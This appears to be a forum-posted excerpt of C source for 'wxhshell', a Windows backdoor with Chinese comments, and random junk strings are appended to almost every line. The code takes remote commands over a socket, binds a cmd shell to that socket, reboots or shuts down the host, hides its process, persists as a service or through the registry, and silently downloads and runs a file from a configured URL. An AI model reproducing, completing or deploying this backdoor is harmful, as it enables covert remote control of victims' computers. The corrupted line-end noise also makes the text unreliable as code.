  // 帮助 d J!o/y6  
  case '?': { -Fdi,\e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3?XLHMxW  
    break; e||_j  
  } %OtW\T=u  
  // 安装 =z/F=1^<  
  case 'i': { \nHlI=!P  
    if(Install()) :A'!u r=\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <S}qcjG  
    else kW~F*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?c2TT Q  
    break; B1M/5cr.  
    } mr1}e VM~!  
  // 卸载 y|dXxd9  
  case 'r': { mqHt%RX  
    if(Uninstall()) xS}H483h6W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nKO&ffb'<  
    else } 8P}L@q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #TgJ d  
    break; [5VUcXGt*\  
    } 1IV 0a  
  // 显示 wxhshell 所在路径 DPwSg\*)  
  case 'p': { ` Z/ IW  
    char svExeFile[MAX_PATH]; )|{{}w~`  
    strcpy(svExeFile,"\n\r"); .+Ej%|l%  
      strcat(svExeFile,ExeFile); -^b^6=#  
        send(wsh,svExeFile,strlen(svExeFile),0); E5(Y*m!  
    break; \zi3.;9|;  
    } ^ ?=K)  
  // 重启 nsT|,O  
  case 'b': { <J)A_Kx[57  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2mUu3fZ  
    if(Boot(REBOOT)) _}&]`,s>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C6VoOT )\  
    else { *r`Yz}  
    closesocket(wsh); 9^='&U9sr  
    ExitThread(0); Q 8rtZ  
    } %wf|nnieZ  
    break; pPZ/O 6  
    } j0~3[dyqU  
  // 关机 kYB <FwwB  
  case 'd': { NXBOo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0 MIMs#  
    if(Boot(SHUTDOWN)) gDub+^ye>/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -W_s]oBg  
    else { .Y|\7%(  
    closesocket(wsh); V,+[XB  
    ExitThread(0); tFaE cP  
    } @?m8/t9 .  
    break; mr!I}I7x&x  
    } DQ\&5ytP  
  // 获取shell yj~"C$s  
  case 's': { E aD@clJS  
    CmdShell(wsh); =%\6}xPEl<  
    closesocket(wsh); EKPTDKut  
    ExitThread(0); ;J(,F:N  
    break; rcZ SC3  
  } eeU$uR  
  // 退出 @MB _gt)7?  
  case 'x': { XO#)i6}G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9|?Lz  
    CloseIt(wsh); ~(j'a!#Vvk  
    break; xLI{=sL  
    } U 0RfovJ  
  // 离开 HF: T]n,  
  case 'q': { LUNs|\&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wi?%)hur  
    closesocket(wsh); DME?kh>7  
    WSACleanup(); X-1Vp_(,TP  
    exit(1); Z9&D'n)  
    break; 8-a6Q|   
        } uX +<`3O  
  } 6I.mc  
  } LU,"i^T  
" ^baiN@ac  
  // 提示信息 i=UTc1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7f%Qc %B  
} kqW<e[  
  } 6b70w @P!  
huJq#5?  
  return; lK,=`xe  
} %hbLT{w  
,/6:bc:W  
// shell模块句柄 (?BgT i\  
int CmdShell(SOCKET sock) p@Y$eZ:O  
{ &}0wzcMg  
STARTUPINFO si; TucAs 0-bF  
ZeroMemory(&si,sizeof(si)); A dEbyL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @JEmybu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CQHp4_  
PROCESS_INFORMATION ProcessInfo; PdH`_/6  
char cmdline[]="cmd"; "&#W Mi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U|7Qw|I7  
  return 0; |3:=qpT-  
} >&vO4L  
/=m9s  
// 自身启动模式 'e>sHL  
int StartFromService(void) cNo4UZvr  
{ C cr+SR2  
typedef struct ]cqZ!4?_  
{ z|]oM#Gt  
  DWORD ExitStatus; !mxh]x<e  
  DWORD PebBaseAddress; o9LD6$  
  DWORD AffinityMask; 1O2h9I$bk  
  DWORD BasePriority; %DRy&k/T  
  ULONG UniqueProcessId; 2^ bpH%  
  ULONG InheritedFromUniqueProcessId; pR6A#DgB  
}   PROCESS_BASIC_INFORMATION; '}+X,Usm  
Bdq"6SK>  
PROCNTQSIP NtQueryInformationProcess; cL)rjty2  
c =N]! ,MO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bEQtVe@`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @=0r3  
V2s}<uG  
  HANDLE             hProcess; gQh Ccv  
  PROCESS_BASIC_INFORMATION pbi; FPMSaN P  
2Z`$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U aj`  
  if(NULL == hInst ) return 0; 2]NAs9aZ  
gLaO#cQ%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =3sldKL&F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !+A"Lej  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^?X ^+  
_%Jl&0%q  
  if (!NtQueryInformationProcess) return 0; Hx2j=Q_dw  
vYSetAd v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d0A\#H_&  
  if(!hProcess) return 0; \ ~LU 'j  
Iq0 #A5U%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9{%g-u \  
V1`5D7Z  
  CloseHandle(hProcess); # HM\ a  
I4<{R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /s8%02S  
if(hProcess==NULL) return 0; +/3 Z  
kh?#={]Z  
HMODULE hMod; ui56<gI-  
char procName[255]; PF'5z#] NP  
unsigned long cbNeeded; 1&% d  
Y!a+#N!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^?6 W<  
{rb-DB-/5M  
  CloseHandle(hProcess); <Id1:  
F/h:&B:;  
if(strstr(procName,"services")) return 1; // 以服务启动 )pS_+ZF  
V^ fGRA  
  return 0; // 注册表启动 @r/Id{pCI  
} 8XYD L] I'  
?BDlB0jxzi  
// 主模块 XY!{g(  
int StartWxhshell(LPSTR lpCmdLine) _ 7BF+*T  
{ nG},v%  
  SOCKET wsl; :n+y/6 *  
BOOL val=TRUE; B15O,sL&W  
  int port=0; @7Rt4}g  
  struct sockaddr_in door; vz yNc'  
urT/+deR  
  if(wscfg.ws_autoins) Install(); oBRm\8 2|  
8tV=fSHd  
port=atoi(lpCmdLine); EFRZ% Y  
B;z>Dd,Y_x  
if(port<=0) port=wscfg.ws_port; #0?"J)  
8g[ (nxI~  
  WSADATA data; 7#Uz*G\iZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hB P$9GR  
C`2*2Y%xkG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IYfV~+P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $_ix6z  
  door.sin_family = AF_INET; Iuu<2#gb8"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4T==A#Z  
  door.sin_port = htons(port); .Yu<%  
_Sly7_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0+K`pS'  
closesocket(wsl); qXrt0s[  
return 1; #JL&]Z+X6  
} yfM>8"h@  
`'xQ6Sy  
  if(listen(wsl,2) == INVALID_SOCKET) { B?$01?9V  
closesocket(wsl); yD3bl%uZ  
return 1; ,30FGz^i  
} VQy 9Y  
  Wxhshell(wsl); M.xhVgFf)  
  WSACleanup(); Hi; K"H]x1  
OX)#F'Sl}  
return 0; N+\oFbE  
`7QvwXsH]  
} ~^lH ^J   
4i_spF-3  
// 以NT服务方式启动 !paN`Fz\a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .N5h V3  
{ s6uF5]M;2  
DWORD   status = 0; )|U_Z"0H^  
  DWORD   specificError = 0xfffffff; c y=I0  
7oZ@<QP'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nd$H 3sf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iUeV5cB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qs6Nb'JvQR  
  serviceStatus.dwWin32ExitCode     = 0; 935-{h@k  
  serviceStatus.dwServiceSpecificExitCode = 0; MB ]#%g&  
  serviceStatus.dwCheckPoint       = 0; ~/j$TT"  
  serviceStatus.dwWaitHint       = 0; 4 ss&'h  
r/mA2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a&$Zpf!!  
  if (hServiceStatusHandle==0) return; =@xN(] (  
J 6(~>g  
status = GetLastError(); l5FuMk-  
  if (status!=NO_ERROR) ki;!WhF~  
{ B;xZ% M]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iEiu%T>  
    serviceStatus.dwCheckPoint       = 0; W<\kf4Y  
    serviceStatus.dwWaitHint       = 0; r+t ,J|V  
    serviceStatus.dwWin32ExitCode     = status; |rr$U  
    serviceStatus.dwServiceSpecificExitCode = specificError; )ZT6:)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =d go!k  
    return; Mam8\  
  } OD  
vC{ h2A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \ V[;t-  
  serviceStatus.dwCheckPoint       = 0; t2=a(N-/,  
  serviceStatus.dwWaitHint       = 0; OZ(Dpx(Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /C*~/}  
} B3y?.  
%*$5!;  
// 处理NT服务事件,比如:启动、停止 jMN)?6$=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u|(Ux~O  
{ 4^0d)+Ff  
switch(fdwControl) w+t#Yb\7  
{ 7V~ "x&Eu  
case SERVICE_CONTROL_STOP: n 11LxGwk  
  serviceStatus.dwWin32ExitCode = 0; _^_5K(Uq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <e;jW K  
  serviceStatus.dwCheckPoint   = 0; dv"as4~%  
  serviceStatus.dwWaitHint     = 0; f'1(y\_fb  
  { c*N50%=4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x1t{SQ-C  
  } !cRfZ  
  return; 8{R&EijC  
case SERVICE_CONTROL_PAUSE: ?TIV2m^?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w?kGi>7E  
  break; By2s']bw  
case SERVICE_CONTROL_CONTINUE: 7sXy`+TZ->  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X.s*>'  
  break; tS?a){^:c  
case SERVICE_CONTROL_INTERROGATE: t";{1.  
  break; 2ubmsbt$  
}; {bT9VZ>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RTK}mhnV  
} inYM+o!Ub  
i][f#e4  
// 标准应用程序主函数 F 4GP7]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }-d)ms!  
{ EbCIIMbe"  
K'x4l,rq  
// 获取操作系统版本 `q%U{IR  
OsIsNt=GetOsVer(); y|^EGnaE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8s<^]sFP  
Ks#A<! ;=  
  // 从命令行安装 zm3-C%:Bw  
  if(strpbrk(lpCmdLine,"iI")) Install(); *dN N<  
q^5yk=2fq  
  // 下载执行文件 0Y7$d`  
if(wscfg.ws_downexe) { XcOA)'Py  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +fM&su=wl  
  WinExec(wscfg.ws_filenam,SW_HIDE); O]t\B *%}  
} %Ys$@dB  
`AR"!X  
if(!OsIsNt) { I6+2>CUGo  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Q`RTn%  
HideProc(); im8 -7Xt  
StartWxhshell(lpCmdLine); GMz8B-vk  
} PkTf JQP8  
else [cDbaq,T  
  if(StartFromService()) b\:~;  
  // 以服务方式启动 )Nbc/nB$  
  StartServiceCtrlDispatcher(DispatchTable); _mXs4  
else %4,xx'`  
  // 普通方式启动 W@^J6sH  
  StartWxhshell(lpCmdLine); O16r!6=-n  
flP>@i:e6  
return 0; zDB" r  
}
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只看该作者 1 发表于: 2006-10-10
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